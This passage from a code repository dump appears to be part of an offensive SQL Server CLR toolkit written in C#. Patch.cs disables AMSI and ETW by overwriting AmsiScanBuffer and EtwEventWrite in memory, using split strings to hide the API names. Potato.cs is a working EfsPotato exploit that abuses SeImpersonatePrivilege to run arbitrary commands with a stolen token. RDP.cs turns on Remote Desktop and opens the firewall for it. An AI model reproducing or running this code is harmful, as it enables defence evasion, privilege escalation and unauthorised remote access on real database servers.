19 | public IntPtr apfnExprEval;
20 |
21 | public IntPtr aXmitQuintuple;
22 |
23 | public IntPtr pFormatTypes;
24 |
25 | public int fCheckBounds;
26 |
27 | public uint Version;
28 |
29 | public IntPtr pMallocFreeStruct;
30 |
31 | public int MIDLVersion;
32 |
33 | public IntPtr CommFaultOffsets;
34 |
35 | public IntPtr aUserMarshalQuadruple;
36 |
37 | public IntPtr NotifyRoutineTable;
38 |
39 | public IntPtr mFlags;
40 |
41 | public IntPtr CsRoutineTables;
42 |
43 | public IntPtr ProxyServerInfo;
44 |
45 | public IntPtr pExprInfo;
46 |
47 | public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, IntPtr pfnAllocatePtr, IntPtr pfnFreePtr)
48 | {
49 | pFormatTypes = pFormatTypesPtr;
50 | RpcInterfaceInformation = RpcInterfaceInformationPtr;
51 | CommFaultOffsets = IntPtr.Zero;
52 | pfnAllocate = pfnAllocatePtr;
53 | pfnFree = pfnFreePtr;
54 | pAutoBindHandle = IntPtr.Zero;
55 | apfnNdrRundownRoutines = IntPtr.Zero;
56 | aGenericBindingRoutinePairs = IntPtr.Zero;
57 | apfnExprEval = IntPtr.Zero;
58 | aXmitQuintuple = IntPtr.Zero;
59 | fCheckBounds = 1;
60 | Version = 327682u;
61 | pMallocFreeStruct = IntPtr.Zero;
62 | MIDLVersion = 134283886;
63 | aUserMarshalQuadruple = IntPtr.Zero;
64 | NotifyRoutineTable = IntPtr.Zero;
65 | mFlags = new IntPtr(1);
66 | CsRoutineTables = IntPtr.Zero;
67 | ProxyServerInfo = IntPtr.Zero;
68 | pExprInfo = IntPtr.Zero;
69 | }
70 | }
71 |
--------------------------------------------------------------------------------
/Database/CLR_module/Patch.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using Microsoft.SqlServer.Server;
7 |
8 | namespace CLR_module
9 | {
10 |
11 | class Patch
12 | {
13 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
14 | public delegate IntPtr GetProcAddress(IntPtr UrethralgiaOrc, string HypostomousBuried);
15 |
16 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
17 | public delegate bool VirtualProtect(IntPtr GhostwritingNard, UIntPtr NontabularlyBankshall, uint YohimbinizationUninscribed, out uint ZygosisCoordination);
18 |
19 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
20 | public delegate IntPtr LoadLibrary(string LiodermiaGranulater);
21 |
22 |
23 |
24 | public static IntPtr GetLoadedModuleAddress(string DLLName)
25 | {
26 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
27 | foreach (ProcessModule Mod in ProcModules)
28 | {
29 | if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
30 | {
31 | return Mod.BaseAddress;
32 | }
33 | }
34 | return IntPtr.Zero;
35 | }
36 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
37 | {
38 | IntPtr FunctionPtr = IntPtr.Zero;
39 | try
40 | {
41 | // Traverse the PE header in memory
42 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
43 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
44 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
45 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
46 | Int64 pExport = 0;
47 | if (Magic == 0x010b)
48 | {
49 | pExport = OptHeader + 0x60;
50 | }
51 | else
52 | {
53 | pExport = OptHeader + 0x70;
54 | }
55 |
56 | // Read -> IMAGE_EXPORT_DIRECTORY
57 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
58 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
59 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
60 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
61 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
62 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
63 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
64 |
65 | // Loop the array of export name RVA's
66 | for (int i = 0; i < NumberOfNames; i++)
67 | {
68 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
69 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
70 | {
71 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
72 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
73 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
74 | break;
75 | }
76 | }
77 | }
78 | catch
79 | {
80 | // Catch parser failure
81 | throw new InvalidOperationException("Failed to parse module exports.");
82 | }
83 |
84 | if (FunctionPtr == IntPtr.Zero)
85 | {
86 | // Export not found
87 | throw new MissingMethodException(ExportName + ", export not found.");
88 | }
89 | return FunctionPtr;
90 | }
91 | public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
92 | {
93 | IntPtr hModule = GetLoadedModuleAddress(DLLName);
94 | if (hModule == IntPtr.Zero)
95 | {
96 | throw new DllNotFoundException(DLLName + ", Dll was not found.");
97 | }
98 |
99 | return GetExportAddress(hModule, FunctionName);
100 | }
101 | public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
102 | {
103 | Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
104 | return funcDelegate.DynamicInvoke(Parameters);
105 | }
106 | public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
107 | {
108 | IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
109 | return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
110 | }
111 | private static bool is64Bit()
112 | {
113 | if (IntPtr.Size == 4)
114 | return false;
115 |
116 | return true;
117 | }
118 | private static byte[] getETWPayload()
119 | {
120 | if (!is64Bit())
121 | return Convert.FromBase64String("whQA");
122 | return Convert.FromBase64String("ww==");
123 | }
124 | private static byte[] getAMSIPayload()
125 | {
126 | if (!is64Bit())
127 | return Convert.FromBase64String("uFcAB4DCGAA=");
128 | return Convert.FromBase64String("uFcAB4DD");
129 | }
130 | private static IntPtr getAMSILocation()
131 | {
132 | //GetProcAddress
133 | IntPtr pGetProcAddress = GetLibraryAddress("kernel32.dll", "GetProcAddress");
134 | IntPtr pLoadLibrary = GetLibraryAddress("kernel32.dll", "LoadLibraryA");
135 |
136 | GetProcAddress fGetProcAddress = (GetProcAddress)Marshal.GetDelegateForFunctionPointer(pGetProcAddress, typeof(GetProcAddress));
137 | LoadLibrary fLoadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(pLoadLibrary, typeof(LoadLibrary));
138 |
139 | return fGetProcAddress(fLoadLibrary("amsi.dll"), "AmsiScanBuffer");
140 | }
141 |
142 | private static IntPtr unProtect(IntPtr amsiLibPtr)
143 | {
144 |
145 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect");
146 |
147 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect));
148 |
149 | uint newMemSpaceProtection = 0;
150 | if (fVirtualProtect(amsiLibPtr, (UIntPtr)getAMSIPayload().Length, 0x40, out newMemSpaceProtection))
151 | {
152 | return amsiLibPtr;
153 | }
154 | else
155 | {
156 | return (IntPtr)0;
157 | }
158 |
159 | }
160 |
161 |
162 | static byte[] GetPatch
163 | {
164 | get
165 | {
166 | if (is64Bit())
167 | {
168 | return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
169 | }
170 |
171 | return new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
172 | }
173 | }
174 |
175 | private static void PatchETW()
176 | {
177 | try
178 | {
179 | IntPtr pEtwEventSend = GetLibraryAddress("ntd" + "ll.d" + "ll", "Et"+"wE"+"ven"+"tWr"+"ite");
180 | IntPtr pVirtualProtect = GetLibraryAddress("ke"+"rn"+"el32."+"dll", "Vir"+"tua"+"lProt"+"ect");
181 |
182 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect));
183 |
184 | var patch = getETWPayload();
185 | uint oldProtect;
186 |
187 | if (fVirtualProtect(pEtwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect))
188 | {
189 | Marshal.Copy(patch, 0, pEtwEventSend, patch.Length);
190 | SqlContext.Pipe.Send("[+] Successfully unhooked ETW!");
191 | }
192 | else
193 | {
194 | SqlContext.Pipe.Send("[-] Unhooked ETW Failed!");
195 | }
196 | fVirtualProtect(pEtwEventSend, (UIntPtr)patch.Length, oldProtect, out oldProtect);
197 | }
198 | catch (Exception es)
199 | {
200 | SqlContext.Pipe.Send(es.ToString());
201 | }
202 |
203 |
204 |
205 | }
206 |
207 | private static void PathAMSI()
208 | {
209 | try
210 | {
211 | // Load amsi.dll and get location of AmsiScanBuffer
212 | IntPtr asb = GetLibraryAddress("a"+"ms"+"i."+"dll", "Ams"+"iSc"+"anB"+"uffer");
213 | IntPtr pVirtualProtect = GetLibraryAddress("ke"+"rn"+"el3"+"2.dll", "Vi"+"rtu"+"alP"+"rot"+"ect");
214 | var patch = GetPatch;
215 | uint oldProtect;
216 |
217 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect));
218 | // Set region to RWX
219 | if (fVirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out oldProtect))
220 | {
221 | Marshal.Copy(patch, 0, asb, patch.Length);
222 | SqlContext.Pipe.Send("[+] Successfully Patch AMSI!");
223 | }
224 | else
225 | {
226 | SqlContext.Pipe.Send("[-] Patch AMSI Failed!");
227 | }
228 | // Restore region to RX
229 | fVirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out oldProtect);
230 | }catch (Exception es)
231 | {
232 | if (es.ToString().Contains("not found"))
233 | {
234 | SqlContext.Pipe.Send("[*] No dll to patch");
235 | }
236 | else
237 | {
238 | SqlContext.Pipe.Send(es.ToString());
239 | }
240 | }
241 |
242 | }
243 | public static void StartPatch()
244 | {
245 | PatchETW();
246 |
247 | PathAMSI();
248 | }
249 |
250 | }
251 | }
--------------------------------------------------------------------------------
/Database/CLR_module/Potato.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Runtime.InteropServices;
4 | using System.Security.Principal;
5 | using System.Text;
6 | using System.Threading;
7 | using Microsoft.SqlServer.Server;
8 |
9 | namespace CLR_module;
10 |
11 | internal class Potato
12 | {
13 | public struct TOKEN_PRIVILEGES
14 | {
15 | public uint PrivilegeCount;
16 |
17 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)]
18 | public LUID_AND_ATTRIBUTES[] Privileges;
19 | }
20 |
21 | public struct LUID_AND_ATTRIBUTES
22 | {
23 | public LUID Luid;
24 |
25 | public uint Attributes;
26 | }
27 |
28 | public struct LUID
29 | {
30 | public uint LowPart;
31 |
32 | public int HighPart;
33 | }
34 |
35 | public struct PROCESS_INFORMATION
36 | {
37 | public IntPtr hProcess;
38 |
39 | public IntPtr hThread;
40 |
41 | public int dwProcessId;
42 |
43 | public int dwThreadId;
44 | }
45 |
46 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
47 | public struct STARTUPINFO
48 | {
49 | public int cb;
50 |
51 | public string lpReserved;
52 |
53 | public string lpDesktop;
54 |
55 | public string lpTitle;
56 |
57 | public int dwX;
58 |
59 | public int dwY;
60 |
61 | public int dwXSize;
62 |
63 | public int dwYSize;
64 |
65 | public int dwXCountChars;
66 |
67 | public int dwYCountChars;
68 |
69 | public int dwFillAttribute;
70 |
71 | public int dwFlags;
72 |
73 | public short wShowWindow;
74 |
75 | public short cbReserved2;
76 |
77 | public IntPtr lpReserved2;
78 |
79 | public IntPtr hStdInput;
80 |
81 | public IntPtr hStdOutput;
82 |
83 | public IntPtr hStdError;
84 | }
85 |
86 | public struct SECURITY_ATTRIBUTES
87 | {
88 | public int nLength;
89 |
90 | public IntPtr pSecurityDescriptor;
91 |
92 | public int bInheritHandle;
93 | }
94 |
95 | public static void EfsPotatoProg(string program, string programArgs)
96 | {
97 | SqlContext.Pipe.Send($"Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).");
98 | SqlContext.Pipe.Send($"Part of GMH's fuck Tools, Code By zcgonvh.\r\n");
99 | LUID_AND_ATTRIBUTES[] array = new LUID_AND_ATTRIBUTES[1];
100 | using (WindowsIdentity windowsIdentity = WindowsIdentity.GetCurrent())
101 | {
102 | SqlContext.Pipe.Send(string.Format("[+] Current user: " + windowsIdentity.Name));
103 | LookupPrivilegeValue(null, "SeImpersonatePrivilege", out array[0].Luid);
104 | TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
105 | NewState.PrivilegeCount = 1u;
106 | NewState.Privileges = array;
107 | array[0].Attributes = 2u;
108 | if (!AdjustTokenPrivileges(windowsIdentity.Token, DisableAllPrivileges: false, ref NewState, Marshal.SizeOf(NewState), IntPtr.Zero, IntPtr.Zero) || Marshal.GetLastWin32Error() != 0)
109 | {
110 | SqlContext.Pipe.Send($"[x] SeImpersonatePrivilege not held.");
111 | return;
112 | }
113 | }
114 | string text = Guid.NewGuid().ToString("d");
115 | string text2 = "\\\\.\\pipe\\" + text + "\\pipe\\srvsvc";
116 | IntPtr intPtr = CreateNamedPipe(text2, 3, 0, 10, 2048, 2048, 0, IntPtr.Zero);
117 | if (intPtr == new IntPtr(-1))
118 | {
119 | SqlContext.Pipe.Send(string.Format("[x] can not create pipe: " + new Win32Exception(Marshal.GetLastWin32Error()).Message));
120 | return;
121 | }
122 | ManualResetEvent manualResetEvent = new ManualResetEvent(initialState: false);
123 | Thread thread = new Thread(NamedPipeThread);
124 | thread.IsBackground = true;
125 | thread.Start(new object[2] { intPtr, manualResetEvent });
126 | Thread thread2 = new Thread(RpcThread);
127 | thread2.IsBackground = true;
128 | thread2.Start(text);
129 | if (manualResetEvent.WaitOne(1000))
130 | {
131 | if (ImpersonateNamedPipeClient(intPtr))
132 | {
133 | IntPtr token = WindowsIdentity.GetCurrent().Token;
134 | SqlContext.Pipe.Send(string.Format("[+] Get Token: " + token));
135 | SECURITY_ATTRIBUTES lpPipeAttributes = default(SECURITY_ATTRIBUTES);
136 | lpPipeAttributes.nLength = Marshal.SizeOf(lpPipeAttributes);
137 | lpPipeAttributes.pSecurityDescriptor = IntPtr.Zero;
138 | lpPipeAttributes.bInheritHandle = 1;
139 | CreatePipe(out var hReadPipe, out var hWritePipe, ref lpPipeAttributes, 1024);
140 | PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
141 | STARTUPINFO lpStartupInfo = default(STARTUPINFO);
142 | lpStartupInfo.cb = Marshal.SizeOf(lpStartupInfo);
143 | lpStartupInfo.hStdError = hWritePipe;
144 | lpStartupInfo.hStdOutput = hWritePipe;
145 | lpStartupInfo.lpDesktop = "WinSta0\\Default";
146 | lpStartupInfo.dwFlags = 257;
147 | lpStartupInfo.wShowWindow = 0;
148 | string text3 = null;
149 | text3 = $"{program} {programArgs}";
150 | SqlContext.Pipe.Send($"[+] Command : {text3} ");
151 | if (CreateProcessAsUser(token, program, programArgs, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 134217728, IntPtr.Zero, IntPtr.Zero, ref lpStartupInfo, out lpProcessInformation))
152 | {
153 | SqlContext.Pipe.Send($"[!] process with pid: {lpProcessInformation.dwProcessId} created.\r\n==============================\r\n\r\n");
154 | CloseHandle(lpProcessInformation.hProcess);
155 | CloseHandle(hWritePipe);
156 | byte[] array2 = new byte[4096];
157 | int lpNumberOfBytesRead = 0;
158 | while (ReadFile(hReadPipe, array2, 4096, ref lpNumberOfBytesRead, IntPtr.Zero))
159 | {
160 | byte[] array3 = new byte[lpNumberOfBytesRead];
161 | Array.Copy(array2, array3, lpNumberOfBytesRead);
162 | SqlContext.Pipe.Send(Encoding.Default.GetString(array3));
163 | }
164 | CloseHandle(hReadPipe);
165 | }
166 | }
167 | }
168 | else
169 | {
170 | SqlContext.Pipe.Send($"[x] operation timed out.");
171 | CreateFile(text2, 1073741824, 0, IntPtr.Zero, 3, 128, IntPtr.Zero);
172 | }
173 | CloseHandle(intPtr);
174 | }
175 |
176 | public static void EfsPotatoExec(string cmd)
177 | {
178 | SqlContext.Pipe.Send($"Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability).");
179 | SqlContext.Pipe.Send($"Part of GMH's fuck Tools, Code By zcgonvh.\r\n");
180 | string text = "c:\\Windows\\System32\\cmd.exe";
181 | string text2 = cmd;
182 | LUID_AND_ATTRIBUTES[] array = new LUID_AND_ATTRIBUTES[1];
183 | using (WindowsIdentity windowsIdentity = WindowsIdentity.GetCurrent())
184 | {
185 | SqlContext.Pipe.Send(string.Format("[+] Current user: " + windowsIdentity.Name));
186 | LookupPrivilegeValue(null, "SeImpersonatePrivilege", out array[0].Luid);
187 | TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
188 | NewState.PrivilegeCount = 1u;
189 | NewState.Privileges = array;
190 | array[0].Attributes = 2u;
191 | if (!AdjustTokenPrivileges(windowsIdentity.Token, DisableAllPrivileges: false, ref NewState, Marshal.SizeOf(NewState), IntPtr.Zero, IntPtr.Zero) || Marshal.GetLastWin32Error() != 0)
192 | {
193 | SqlContext.Pipe.Send($"[x] SeImpersonatePrivilege not held.");
194 | return;
195 | }
196 | }
197 | string text3 = Guid.NewGuid().ToString("d");
198 | string text4 = "\\\\.\\pipe\\" + text3 + "\\pipe\\srvsvc";
199 | IntPtr intPtr = CreateNamedPipe(text4, 3, 0, 10, 2048, 2048, 0, IntPtr.Zero);
200 | if (intPtr == new IntPtr(-1))
201 | {
202 | SqlContext.Pipe.Send(string.Format("[x] can not create pipe: " + new Win32Exception(Marshal.GetLastWin32Error()).Message));
203 | return;
204 | }
205 | ManualResetEvent manualResetEvent = new ManualResetEvent(initialState: false);
206 | Thread thread = new Thread(NamedPipeThread);
207 | thread.IsBackground = true;
208 | thread.Start(new object[2] { intPtr, manualResetEvent });
209 | Thread thread2 = new Thread(RpcThread);
210 | thread2.IsBackground = true;
211 | thread2.Start(text3);
212 | if (manualResetEvent.WaitOne(1000))
213 | {
214 | if (ImpersonateNamedPipeClient(intPtr))
215 | {
216 | IntPtr token = WindowsIdentity.GetCurrent().Token;
217 | SqlContext.Pipe.Send(string.Format("[+] Get Token: " + token));
218 | SECURITY_ATTRIBUTES lpPipeAttributes = default(SECURITY_ATTRIBUTES);
219 | lpPipeAttributes.nLength = Marshal.SizeOf(lpPipeAttributes);
220 | lpPipeAttributes.pSecurityDescriptor = IntPtr.Zero;
221 | lpPipeAttributes.bInheritHandle = 1;
222 | CreatePipe(out var hReadPipe, out var hWritePipe, ref lpPipeAttributes, 1024);
223 | PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
224 | STARTUPINFO lpStartupInfo = default(STARTUPINFO);
225 | lpStartupInfo.cb = Marshal.SizeOf(lpStartupInfo);
226 | lpStartupInfo.hStdError = hWritePipe;
227 | lpStartupInfo.hStdOutput = hWritePipe;
228 | lpStartupInfo.lpDesktop = "WinSta0\\Default";
229 | lpStartupInfo.dwFlags = 257;
230 | lpStartupInfo.wShowWindow = 0;
231 | string text5 = null;
232 | if (text2 != null)
233 | {
234 | if (text.Equals("c:\\Windows\\System32\\cmd.exe"))
235 | {
236 | text2 = "/c " + text2;
237 | }
238 | text5 = $"{text} {text2}";
239 | SqlContext.Pipe.Send($"[+] Command : {text5} ");
240 | }
241 | if (CreateProcessAsUser(token, text, text5, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 134217728, IntPtr.Zero, IntPtr.Zero, ref lpStartupInfo, out lpProcessInformation))
242 | {
243 | SqlContext.Pipe.Send($"[!] process with pid: {lpProcessInformation.dwProcessId} created.\r\n==============================\r\n\r\n");
244 | CloseHandle(lpProcessInformation.hProcess);
245 | CloseHandle(hWritePipe);
246 | byte[] array2 = new byte[4096];
247 | int lpNumberOfBytesRead = 0;
248 | while (ReadFile(hReadPipe, array2, 4096, ref lpNumberOfBytesRead, IntPtr.Zero))
249 | {
250 | byte[] array3 = new byte[lpNumberOfBytesRead];
251 | Array.Copy(array2, array3, lpNumberOfBytesRead);
252 | SqlContext.Pipe.Send(Encoding.Default.GetString(array3));
253 | }
254 | CloseHandle(hReadPipe);
255 | }
256 | }
257 | }
258 | else
259 | {
260 | SqlContext.Pipe.Send($"[x] operation timed out.");
261 | CreateFile(text4, 1073741824, 0, IntPtr.Zero, 3, 128, IntPtr.Zero);
262 | }
263 | CloseHandle(intPtr);
264 | }
265 |
266 | private static void RpcThread(object o)
267 | {
268 | string text = o as string;
269 | EfsrTiny efsrTiny = new EfsrTiny();
270 | IntPtr hContext = IntPtr.Zero;
271 | try
272 | {
273 | efsrTiny.EfsRpcOpenFileRaw(out hContext, "\\\\localhost/PIPE/" + text + "/\\" + text + "\\" + text, 0);
274 | }
275 | catch (Exception ex)
276 | {
277 | SqlContext.Pipe.Send(ex.ToString());
278 | }
279 | }
280 |
281 | private static void NamedPipeThread(object o)
282 | {
283 | object[] array = o as object[];
284 | IntPtr pipe = (IntPtr)array[0];
285 | if (array[1] is ManualResetEvent manualResetEvent)
286 | {
287 | ConnectNamedPipe(pipe, IntPtr.Zero);
288 | manualResetEvent.Set();
289 | }
290 | }
291 |
292 | [DllImport("kernel32.dll", SetLastError = true)]
293 | public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped);
294 |
295 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
296 | private static extern IntPtr CreateFile(string lpFileName, int access, int share, IntPtr sa, int cd, int flag, IntPtr zero);
297 |
298 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
299 | private static extern IntPtr CreateNamedPipe(string name, int i1, int i2, int i3, int i4, int i5, int i6, IntPtr zero);
300 |
301 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
302 | private static extern IntPtr ConnectNamedPipe(IntPtr pipe, IntPtr zero);
303 |
304 | [DllImport("advapi32.dll", SetLastError = true)]
305 | private static extern bool ImpersonateNamedPipeClient(IntPtr pipe);
306 |
307 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, ExactSpelling = true, SetLastError = true)]
308 | public static extern bool CloseHandle(IntPtr handle);
309 |
310 | [DllImport("advapi32.dll", SetLastError = true)]
311 | public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int Bufferlength, IntPtr PreviousState, IntPtr ReturnLength);
312 |
313 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
314 | public static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
315 |
316 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
317 | [return: MarshalAs(UnmanagedType.Bool)]
318 | public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
319 |
320 | [DllImport("advapi32", CharSet = CharSet.Unicode, SetLastError = true)]
321 | public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
322 | }
323 |
--------------------------------------------------------------------------------
/Database/CLR_module/ProcessWaitHandle.cs:
--------------------------------------------------------------------------------
1 | using System.Threading;
2 | using Microsoft.Win32.SafeHandles;
3 |
4 | namespace CLR_module;
5 |
6 | internal class ProcessWaitHandle : WaitHandle
7 | {
8 | internal ProcessWaitHandle(SafeWaitHandle processHandle)
9 | {
10 | base.SafeWaitHandle = processHandle;
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/Database/CLR_module/RDP.cs:
--------------------------------------------------------------------------------
1 | using System.Diagnostics;
2 | using Microsoft.SqlServer.Server;
3 | using Microsoft.Win32;
4 |
5 | namespace CLR_module;
6 |
7 | internal class RDP
8 | {
9 | public static void run()
10 | {
11 | RegistryKey localMachine = Registry.LocalMachine;
12 | RegistryKey registryKey = localMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server");
13 | string text = registryKey.GetValue("fDenyTSConnections").ToString();
14 | RegistryKey registryKey2 = localMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp");
15 | string arg = registryKey2.GetValue("PortNumber").ToString();
16 | registryKey2.Close();
17 | if (text.Contains("0"))
18 | {
19 | SqlContext.Pipe.Send("[*] RDP is already enabled");
20 | SqlContext.Pipe.Send($"[+] RDP Port: {arg}");
21 | return;
22 | }
23 | SqlContext.Pipe.Send("[*] RDP is disabled, enabling it ...");
24 | RegistryKey registryKey3 = localMachine.CreateSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server");
25 | registryKey3.SetValue("fDenyTSConnections", "0", RegistryValueKind.DWord);
26 | registryKey3.Close();
27 | Process process = new Process();
28 | process.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
29 | process.StartInfo.UseShellExecute = false;
30 | process.StartInfo.RedirectStandardInput = true;
31 | process.StartInfo.RedirectStandardOutput = true;
32 | process.StartInfo.RedirectStandardError = true;
33 | process.StartInfo.CreateNoWindow = true;
34 | process.Start();
35 | process.StandardInput.WriteLine("sc config termservice start= auto");
36 | process.StandardInput.WriteLine("netsh firewall set service remotedesktop enable");
37 | process.StandardInput.WriteLine("exit");
38 | process.WaitForExit();
39 | process.Close();
40 | process.Dispose();
41 | SqlContext.Pipe.Send($"[+] RDP Port: {arg}");
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/Database/CLR_module/RPC_CLIENT_INTERFACE.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 |
4 | namespace CLR_module;
5 |
6 | internal struct RPC_CLIENT_INTERFACE
7 | {
8 | public uint Length;
9 |
10 | public RPC_SYNTAX_IDENTIFIER InterfaceId;
11 |
12 | public RPC_SYNTAX_IDENTIFIER TransferSyntax;
13 |
14 | public IntPtr DispatchTable;
15 |
16 | public uint RpcProtseqEndpointCount;
17 |
18 | public IntPtr RpcProtseqEndpoint;
19 |
20 | public IntPtr Reserved;
21 |
22 | public IntPtr InterpreterInfo;
23 |
24 | public uint Flags;
25 |
26 | public static Guid IID_SYNTAX = new Guid(2324192516u, 7403, 4553, 159, 232, 8, 0, 43, 16, 72, 96);
27 |
28 | public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor)
29 | {
30 | Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE));
31 | RPC_VERSION syntaxVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor);
32 | InterfaceId = default(RPC_SYNTAX_IDENTIFIER);
33 | InterfaceId.SyntaxGUID = iid;
34 | InterfaceId.SyntaxVersion = syntaxVersion;
35 | syntaxVersion = new RPC_VERSION(2, 0);
36 | TransferSyntax = default(RPC_SYNTAX_IDENTIFIER);
37 | TransferSyntax.SyntaxGUID = IID_SYNTAX;
38 | TransferSyntax.SyntaxVersion = syntaxVersion;
39 | DispatchTable = IntPtr.Zero;
40 | RpcProtseqEndpointCount = 0u;
41 | RpcProtseqEndpoint = IntPtr.Zero;
42 | Reserved = IntPtr.Zero;
43 | InterpreterInfo = IntPtr.Zero;
44 | Flags = 0u;
45 | }
46 | }
47 |
--------------------------------------------------------------------------------
/Database/CLR_module/RPC_SYNTAX_IDENTIFIER.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace CLR_module;
4 |
5 | internal struct RPC_SYNTAX_IDENTIFIER
6 | {
7 | public Guid SyntaxGUID;
8 |
9 | public RPC_VERSION SyntaxVersion;
10 | }
11 |
--------------------------------------------------------------------------------
/Database/CLR_module/RPC_VERSION.cs:
--------------------------------------------------------------------------------
1 | namespace CLR_module;
2 |
3 | internal struct RPC_VERSION
4 | {
5 | public ushort MajorVersion;
6 |
7 | public ushort MinorVersion;
8 |
9 | public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor)
10 | {
11 | MajorVersion = InterfaceVersionMajor;
12 | MinorVersion = InterfaceVersionMinor;
